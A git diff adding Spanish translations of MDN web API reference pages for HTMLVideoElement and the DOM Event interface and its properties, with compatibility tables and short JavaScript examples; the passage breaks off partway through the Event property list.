+<p>En otras plataformas, el valor de <code>deltaMode</code> es siempre <code>DOM_DELTA_LINE</code>.</p>
+
+<h3 id="Eventos_no_confiables">Eventos no confiables</h3>
+
+<p>Los eventos <code>wheel</code> no nativos nunca causarán acción por defecto.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ domxref("WheelEvent") }}</li>
+ <li>Gecko's legacy events: <code>DOMMouseScroll</code> and <code>MozMousePixelScroll</code></li>
+ <li>Non-Gecko browsers' legacy event: <code>mousewheel</code></li>
+ <li>WebKit bug: <a href="https://bugs.webkit.org/show_bug.cgi?id=94081" title="https://bugs.webkit.org/show_bug.cgi?id=94081">https://bugs.webkit.org/show_bug.cgi?id=94081</a></li>
+</ul>
diff --git a/files/es/web/api/elementoshtmlparavideo/index.html b/files/es/web/api/elementoshtmlparavideo/index.html
new file mode 100644
index 0000000000..4b36d9cba2
--- /dev/null
+++ b/files/es/web/api/elementoshtmlparavideo/index.html
@@ -0,0 +1,202 @@
+---
+title: Elementos HTML para Video
+slug: Web/API/ElementosHTMLparaVideo
+translation_of: Web/API/HTMLVideoElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>El interfaz de <strong><code>HTMLVideoElement</code></strong> provee propiedades especiales y metodos para manipular objectos de videos. Tambien, este interfaz hereda propiedades y métodos de {{domxref("HTMLMediaElement")}} y {{domxref("HTMLElement")}}.</p>
+
+<p>La lista de <a href="/en-US/docs/HTML/Supported_media_formats">supported media formats</a> (formatos de medios compatibles) varía de un navegador a otro. Debe proveer su video en un formato sencillo que sea compatible con todos los navegadores o proveer varias fuentes de videos in varios formatos, para que así todo navegador que necesite este cubierto.</p>
+
+<p>{{InheritanceDiagram(600, 140)}}</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Hereda las propiedades de los interfaces anteriores, {{domxref("HTMLMediaElement")}}, y </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.height")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que refleja el atributo HTML {{htmlattrxref("height", "video")}}, el cual especifica la altura del area mostrada, en pixeles CSS.</dd>
+ <dt>{{domxref("HTMLVideoElement.poster")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que refleja el atributo HTML {{htmlattrxref("poster", "video")}}, el cual especifica que imagen sera mostrada en la ausencia de data de video.</dd>
+ <dt>{{domxref("HTMLVideoElement.videoHeight")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un <code>unsigned long</code> que contiene la altura intrinsica del recurso en pixeles CSS, tomando en consideracion las dimensiones, aspecto proporcional, apertura limpia, resolucion, etc., ya definidas por el formato usado por el recurso.  Si el estado disponible del elemento es <code>HAVE_NOTHING</code>, su valor es <code>0</code>.</dd>
+ <dt>{{domxref("HTMLVideoElement.videoWidth")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un <code>unsigned long</code> que contiene la anchura intrinsica del recurso en pixeles CSS, tomando en consideracion las dimensiones, aspecto proporcional, apertura limpia, resolucion, etc., ya definidas por el formato usado por el recurso.  Si el estado disponible del elemento es <code>HAVE_NOTHING</code>, su valor es <code>0</code>.</dd>
+ <dt>{{domxref("HTMLVideoElement.width")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que refleja el atributo HTML {{htmlattrxref("width", "video")}}, el cual especifica la anchura del area mostrada, en pixeles CSS.</dd>
+</dl>
+
+<h3 id="Propiedades_especificas_para_Gecko">Propiedades especificas para Gecko</h3>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.mozParsedFrames")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd><code>Devuelve un unsigned long</code> con el conteo de marcos de video que han sido analizados del recurso de multimedia.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozDecodedFrames")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Devuelve un <code>unsigned long</code> con el conteo de marcos de video que han sido decifrados como imágines.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozPresentedFrames")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Devuelve un <code>unsigned long</code> con el conteo de marcos decodificados que han sido  presentados a la canalización de render para pintar.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozPaintedFrames")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Devuelve un <code>unsigned long</code> con el conteo de marcos presentados que han sido pintados en la pantalla.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozFrameDelay")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Devuelve un <code>double</code> con el tiempo, en segundos, que el último marco de video fue pintado por retrazo.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozHasAudio")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Devuelve un {{domxref("Boolean")}} indicando si existe algún audio asociado con el video.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Hereda los métodos anteriores de </em><em>{{domxref("HTMLMediaElement")}} y </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}} {{experimental_inline}}</dt>
+ <dd>Devuelve un {{domxref("VideoPlaybackQuality")}} para objetos que contienen las medidas de reproducciones actuales.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#idl-def-HTMLVideoElement', 'Extensions to HTMLVideoElement')}}</td>
+   <td>{{Spec2("Media Source Extensions")}}</td>
+   <td>Anadio el metodo <code>getVideoPlaybackQuality()</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#the-video-element", "HTMLAreaElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambios del {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-video-element", "HTMLAreaElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definicion incial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegador">Compatibilidad con Navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristicas</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Apoyo basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>10.50</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>mozParsedFrames mozDecodedFrames mozPresentedFrames mozPaintedFrames mozFrameDelay</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozHasAudio</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getVideoPlaybackQuality()</code>{{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("25.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Apoyo básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>mozParsedFrames mozDecodedFrames mozPresentedFrames mozPaintedFrames mozFrameDelay</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozHasAudio</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getVideoPlaybackQuality()</code>{{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("25.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko implementa esto detras de la preferencia <code>media.mediasource.enabled</code>, predispuesto a <code>false</code>.</p>
+
+<h2 id="Lea_Tambien">Lea Tambien</h2>
+
+<ul>
+ <li>Elemento HTML implementando este interfaz: {{HTMLElement("video")}}.</li>
+ <li><a class="external" href="http://people.mozilla.org/~cpearce/paint-stats-demo.html">Demonstracion de estadisticas de pintura de video</a></li>
+ <li><a href="/en-US/docs/HTML/Supported_media_formats">Formatos de medios compatibles </a></li>
+</ul>
diff --git a/files/es/web/api/event/bubbles/index.html b/files/es/web/api/event/bubbles/index.html
new file mode 100644
index 0000000000..a940b1e4a7
--- /dev/null
+++ b/files/es/web/api/event/bubbles/index.html
@@ -0,0 +1,47 @@
+---
+title: event.bubbles
+slug: Web/API/Event/bubbles
+tags:
+  - Anidado
+  - DOM
+  - Propagación
+  - Referencia
+  - Referência(2)
+  - eventos
+translation_of: Web/API/Event/bubbles
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Indica si el evento determinado <em>se propaga</em> (burbujea) a través del DOM o no. Esta propagación se refiere a si el evento viaja desde el elemento donde se originó hasta los elementos padres<font face="Consolas, Monaco, Andale Mono, monospace"> </font>en orden de anidamiento.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><em>e</em>vent.bubbles
+</pre>
+
+<p>Retorna un valor Booleano que es <code>true</code> si el evento se propaga en el DOM.</p>
+
+<h3 id="Ejemplo_2">Ejemplo</h3>
+
+<pre>var bool = event.bubbles;</pre>
+
+<p><code>bool</code> tiene el valor <code>true</code> o <code>false</code>, dependiendo de si el evento puede ser burbuja o no.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Sólo ciertos eventos pueden ser burbuja. Los eventos que pueden ser burbuja tienen esta propiedad con el valor <code>true</code>. Podemos usar esta propiedad para comprobar si un elemento puede ser burbuja o no.</p>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre> function goInput(e) {
+  // comprueba si es burbuja y
+  if (!e.bubbles) {
+     // entrega el evento si no lo es
+     passItOn(e);
+  }
+  // está siendo propagado
+  doOutput(e)
+}
+</pre>
diff --git a/files/es/web/api/event/cancelable/index.html b/files/es/web/api/event/cancelable/index.html
new file mode 100644
index 0000000000..efb6eb04f6
--- /dev/null
+++ b/files/es/web/api/event/cancelable/index.html
@@ -0,0 +1,38 @@
+---
+title: event.cancelable
+slug: Web/API/Event/cancelable
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Event/cancelable
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Indica si el elemento puede ser cancelado o no.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>bool</i> =
+<i>event</i>.cancelable;
+</pre>
+
+<p><code>bool</code> tiene valor <code>true</code> o <code>false</code>, dependiendo de si el evento puede ser desactivado.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>Si un evento puede ser cancelado o no, es algo que se determina en el momento en que el evento es inicializado.</p>
+
+<p>Para cancelar un evento, llama al método <a href="es/DOM/event.preventDefault">preventDefault</a> en el evento. Esto evita que la tarea de implementación ejecute la acción por defecto asociada con el evento.</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-canCancel">DOM Level 2 Events: cancelable</a></p>
+
+<p> </p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/event.cancelable", "ja": "ja/DOM/event.cancelable", "pl": "pl/DOM/event.cancelable" } ) }}</p>
diff --git a/files/es/web/api/event/createevent/index.html b/files/es/web/api/event/createevent/index.html
new file mode 100644
index 0000000000..0d04851789
--- /dev/null
+++ b/files/es/web/api/event/createevent/index.html
@@ -0,0 +1,34 @@
+---
+title: Event.createEvent()
+slug: Web/API/Event/createEvent
+tags:
+  - API
+  - DOM
+  - Evento
+  - metodo
+translation_of: Web/API/Document/createEvent
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Crea un nuevo evento, que debe ser inicializado llamando a su método <code>init()</code>.</p>
+
+<h3 id="Sintaxis">Sintaxis</h3>
+
+<pre><code>document.createEvent(tipo);</code></pre>
+
+<dl>
+ <dt><code>tipo</code></dt>
+ <dd>Una string indicando el tipo de evento a crear.</dd>
+</dl>
+
+<p>Este método devuelve un nuevo objeto {{ domxref("Event") }} del DOM del tipo indicado, que debe ser inicializado antes de su uso.</p>
+
+<h3 id="Ejemplo">Ejemplo</h3>
+
+<pre>var nuevoEvento = document.createEvent("UIEvents");</pre>
+
+<h3 id="Especificación">Especificación</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-document" title="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-document">DOM Level 2 Events</a></li>
+</ul>
diff --git a/files/es/web/api/event/currenttarget/index.html b/files/es/web/api/event/currenttarget/index.html
new file mode 100644
index 0000000000..0c9d9a2a9e
--- /dev/null
+++ b/files/es/web/api/event/currenttarget/index.html
@@ -0,0 +1,75 @@
+---
+title: Event.currentTarget
+slug: Web/API/Event/currentTarget
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Property
+translation_of: Web/API/Event/currentTarget
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Identifica el target (objetivo) actual del evento, ya que el evento atraviesa el DOM. Siempre hace referencia al elmento al cual el controlador del evento fue asociado, a diferencia de <code>event.target</code>, que identifica el elemento el el que se produjo el evento.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Es interesante utilizar <code>event.currentTarget</code> cuando se asocia un mismo controlador de eventos a varios elementos.</p>
+
+<pre class="brush: js">function hide(e){
+  e.currentTarget.style.visibility = "hidden";
+  console.log(e.currentTarget);
+  // Cuando esta función es usada como un controlador de evento: this === e.currentTarget
+}
+
+var ps = document.getElementsByTagName('p');
+
+for(var i = 0; i &lt; ps.length; i++){
+  // console: imprime el elemento pulsado &lt;p&gt;
+  ps[i].addEventListener('click', hide, false);
+}
+// console: imprime &lt;body&gt;
+document.body.addEventListener('click', hide, false);
+
+// hace desaparecer párrafos al hacer click alrededor
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-currenttarget", "Event.currentTarget")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-currenttarget", "Event.currentTarget")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Events", "#dfn-current-event-target", "current event target")}}</td>
+   <td>{{Spec2("DOM3 Events")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-currentTarget", "Event.currentTarget")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("api.Event.currentTarget")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<p><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Comparativa de Event Targets</a></p>
diff --git a/files/es/web/api/event/defaultprevented/index.html b/files/es/web/api/event/defaultprevented/index.html
new file mode 100644
index 0000000000..ff1f9fba79
--- /dev/null
+++ b/files/es/web/api/event/defaultprevented/index.html
@@ -0,0 +1,81 @@
+---
+title: event.defaultPrevented
+slug: Web/API/Event/defaultPrevented
+translation_of: Web/API/Event/defaultPrevented
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Resumen">Resumen</h3>
+
+<p>Retorna un boleano indicando si {{ domxref("event.preventDefault()") }} fue llamado en el evento o no.</p>
+
+<div class="note"><strong>Nota:</strong> Deberías usar este en lugar del que no es estándar, el método obsoleto <code>getPreventDefault()</code> (ver {{ bug(691151) }}).</div>
+
+<h3 id="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">bool = event.defaultPrevented </pre>
+
+<h3 id="Ejemplo">Ejemplo</h3>
+
+<pre> if (e.defaultPrevented) {
+   /* El evento por defecto fue prevenido */
+ }
+</pre>
+
+<h3 id="Compatibilidad_del_Navegador">Compatibilidad del Navegador</h3>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatChrome(18) }}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>{{ CompatIE(9.0) }}</td>
+   <td>{{ CompatOpera(11.0) }}</td>
+   <td>{{ CompatSafari("5.0") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatSafari(5.0) }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Especificación">Especificación</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2006/WD-DOM-Level-3-Events-20060413/events.html#Events-Event-defaultPrevented" title="http://www.w3.org/TR/2006/WD-DOM-Level-3-Events-20060413/events.html#Events-Event-defaultPrevented">DOM 3 Events</a></li>
+</ul>
+
+<p>{{ languages( {"zh-cn": "zh-cn/DOM/event.defaultPrevented" } ) }}</p>
diff --git a/files/es/web/api/event/event/index.html b/files/es/web/api/event/event/index.html
new file mode 100644
index 0000000000..b1410daf7b
--- /dev/null
+++ b/files/es/web/api/event/event/index.html
@@ -0,0 +1,80 @@
+---
+title: Event()
+slug: Web/API/Event/Event
+translation_of: Web/API/Event/Event
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>El constructor <code><strong>Event()</strong></code> crea un nuevo {{domxref("Event")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"> <em>event</em> = new Event(<em>typeArg</em>, <em>eventInit</em>);</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><em>typeArg</em></dt>
+ <dd>Es un {{domxref("DOMString")}} que representa el nombre del evento.</dd>
+ <dt><em>eventInit </em>{{optional_inline}}</dt>
+</dl>
+
+<dl>
+ <dd>Es un <code>EventInit</code> dictionary, con los siguientes campos:
+
+ <ul>
+  <li><code>"bubbles"</code>: (Opcional) {{jsxref("Boolean")}} indica si el evento se propaga. Por defecto es <code>false</code>.</li>
+  <li><code>"cancelable"</code>: (Opcional) A {{jsxref("Boolean")}} indica si el evento puede ser cancelado. Por defecto es <code>false</code>.</li>
+  <li><code>"scoped"</code>: (Opcional) {{jsxref("Boolean")}} indica el ámbito de propagación. Si el valor es <code>true</code>, <code>deepPath</code> contendrá el nodo de destino.</li>
+  <li><code>"composed"</code>: (Opcional) {{jsxref("Boolean")}} que indica si el evento disparará listeners fuera de un shadow root. Por defecto es <code>false</code>.<span style="display: none;"> </span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">// crea un evento look que se propaga y no puede cancelarse
+
+var ev = new Event("look", {"bubbles":true, "cancelable":false});
+document.dispatchEvent(ev);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-event','Event()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM','#widl-EventInit-scoped', 'scoped')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td>Añade ámbito a <code>EventInit</code> dictionary.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("api.Event.Event")}}</p>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Event")}}</li>
+</ul>
diff --git a/files/es/web/api/event/index.html b/files/es/web/api/event/index.html
new file mode 100644
index 0000000000..67cc05b076
--- /dev/null
+++ b/files/es/web/api/event/index.html
@@ -0,0 +1,185 @@
+---
+title: evento
+slug: Web/API/Event
+tags:
+  - para_revisar
+translation_of: Web/API/Event
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>« <a href="/es/Referencia_DOM_de_Gecko" title="es/Referencia_DOM_de_Gecko">Referencia DOM de Gecko</a></p>
+
+<h3 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h3>
+
+<p>Éste capítulo describe el Modelo De Evento DOM de nivel 2 como es implementado por <a href="/es/Gecko" title="es/Gecko">Gecko</a>. La propia interfaz de <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event">Evento</a> es descrita, así como las interfaces para el registro de evento sobre los nodos en el DOM, manipuladores y "oyentes" (<code>listeners</code>) de eventos, y varios ejemplos mas extensos que muestran como las varias interfaces de evento se relacionan unas  con las otras.</p>
+
+<p>Hay un diagrama excelente que explica claramente las tres fases del flujo de eventos a través del DOM en el <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#Events-flow">DOM Level 3 Events draft</a>.</p>
+
+<h4 id="La_interfaz_evento_.28Event.29_de_DOM" name="La_interfaz_evento_.28Event.29_de_DOM">La interfaz evento (<code>Event</code>) de DOM</h4>
+
+<p>Los gestores de eventos pueden estar atados a varios elementos en el DOM. Cuando un evento ocurre, un objeto de evento es dinámicamente creado y pasado secuencialmente a las "escuchas" (<small>listeners</small>) autorizadas para la gestión del evento. La interfaz <code>Event</code> del DOM es entonces accesible por la función de manejo, vía el objeto de evento puesto como el primer (y único) argumento.</p>
+
+<p><span class="comment">Given that we don't list the three ways right here, the sentence is unclear, and is not perfectly right either IMO. -Nickolay There are three ways to attach an event listener to an element. With 2 of those techniques, the event object is passed to the handler function implicitly. The remaining technique requires you to specify the &lt;code&gt;event&lt;/code&gt; object as a parameter, which is passed explicitly to the event handler function.</span> El ejemplo siguiente muestra como un objeto de evento es pasado a una función de gestión de evento, y puede llamarse desde otra parecida.</p>
+
+<p>El parámetro "evt" no es pasado en el código de abajo, el objeto de evento es cambiado automáticamente a <em>foo</em>. Todo lo necesario es definir un parámetro en el gestor de evento para recibir el objeto de evento.</p>
+
+<pre>function foo(evt) {
+  // Las funciones de gestión como esta
+  // dan una referencia implícita del
+  // evento que toca manejar
+  // (en este caso se llama "evt").
+  alert(evt);
+}
+table_el.onclick = foo;
+</pre>
+
+<p>Este ejemplo es muy simple pero muestra una característica importante de los eventos en el DOM de Gecko, la cual es que en el DOM se accede a los objetos de eventos a través de las funciones de manejo. Entonces al tener una referencia al objeto de evento, se puede llegar a todas las propiedades y métodos descritos en este capítulo.</p>
+
+<p>Para más detalles de como los eventos se mueven dentro del DOM, ver: <a href="/es/Referencia_DOM_de_Gecko/Ejemplos#Ejemplo_5:_Propagaci.C3.B3n_de_evento" title="es/Referencia_DOM_de_Gecko/Ejemplos#Ejemplo_5:_Propagaci.C3.B3n_de_evento">Ejemplo 5: Propagación de evento</a></p>
+
+<h4 id="Lista_de_los_gestores_de_evento_del_DOM" name="Lista_de_los_gestores_de_evento_del_DOM">Lista de los gestores de evento del DOM</h4>
+
+<p>Además del objeto <code>event</code> descrito aquí, el Gecko DOM también proporciona métodos para registrar oyentes de eventos en nodos en el DOM, quitando aquellos oyentes de eventos, y enviando eventos desde el DOM.</p>
+
+<p>Estos y los varios <a href="/es/DOM/element#Manejo_de_los_eventos" title="es/DOM/element#Manejo_de_los_eventos">manejos de eventos</a> de elementos HTML o XML son los puntos de entrada principales para los eventos en el DOM. Estos tres métodos se describen en la lista de <a href="/es/DOM/element" title="es/DOM/element">referencia al elemento</a>.</p>
+
+<p>Puede también pasar la referencia del objeto del evento como un parámetro predefinido, llamado <code>event</code>, a la función que maneja el evento. Esto es muy parecido a la forma en que trabaja <code>this</code>, pero para objetos de eventos, más bien que las referencias del objeto del elemento.</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Ejemplo de parámetro de objeto de evento&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function showCoords(event){
+  alert(
+    "clientX value: " + event.clientX + "\n" +
+    "clientY value: " + event.clientY + "\n"
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="showCoords(event)"&gt;
+&lt;p&gt;Para ver las coordinadas del ratón
+haga clic en cualquier lugar de esta página.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>El parámetro predefinido del objeto <code>event</code> permite pasar tantos parámetros de gestión de evento como sea necesario:</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Ejemplo de objeto con varios parámetros&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+var par2 = 'hello';
+var par3 = 'world!';
+
+function muestraCoords(evt, p2, p3){
+  alert(
+    "clienteX value: " + evt.clientX + "\n"
+    + "clientY value: " + evt.clientY + "\n"
+    + "p2: " + p2 + "\n"
+    + "p3: " + p3 + "\n"
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="muestraCoords(event, par2, par3)"&gt;
+&lt;p&gt;Para ver las coordinadas del ratón
+haga clic en cualquier lugar de esta página.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Propiedades" name="Propiedades">Propiedades</h3>
+
+<dl>
+ <dt><a href="/es/DOM/event.altKey" title="es/DOM/event.altKey">event.altKey</a> </dt>
+ <dd>Devuelve un valor indicando si la tecla <code>&lt;alt&gt;</code> fue pulsada durante el evento.</dd>
+ <dt><a href="/es/DOM/event.bubbles" title="es/DOM/event.bubbles">event.bubbles</a> </dt>
+ <dd>Devuelve un valor que indica si el evento se propaga hacia arriba a través del DOM o no.</dd>
+ <dt><a href="/es/DOM/event.button" title="es/DOM/event.button">event.button</a> </dt>
+ <dd>Devuelve el botón del ratón.</dd>
+ <dt><a href="/es/DOM/event.cancelBubble" title="es/DOM/event.cancelBubble">event.cancelBubble</a> {{deprecated_inline}} </dt>
+ <dd>Devuelve un valor que indica si la propagación hacia arriba fue cancelada o no.</dd>
+ <dt><a href="/es/DOM/event.cancelable" title="es/DOM/event.cancelable">event.cancelable</a> </dt>
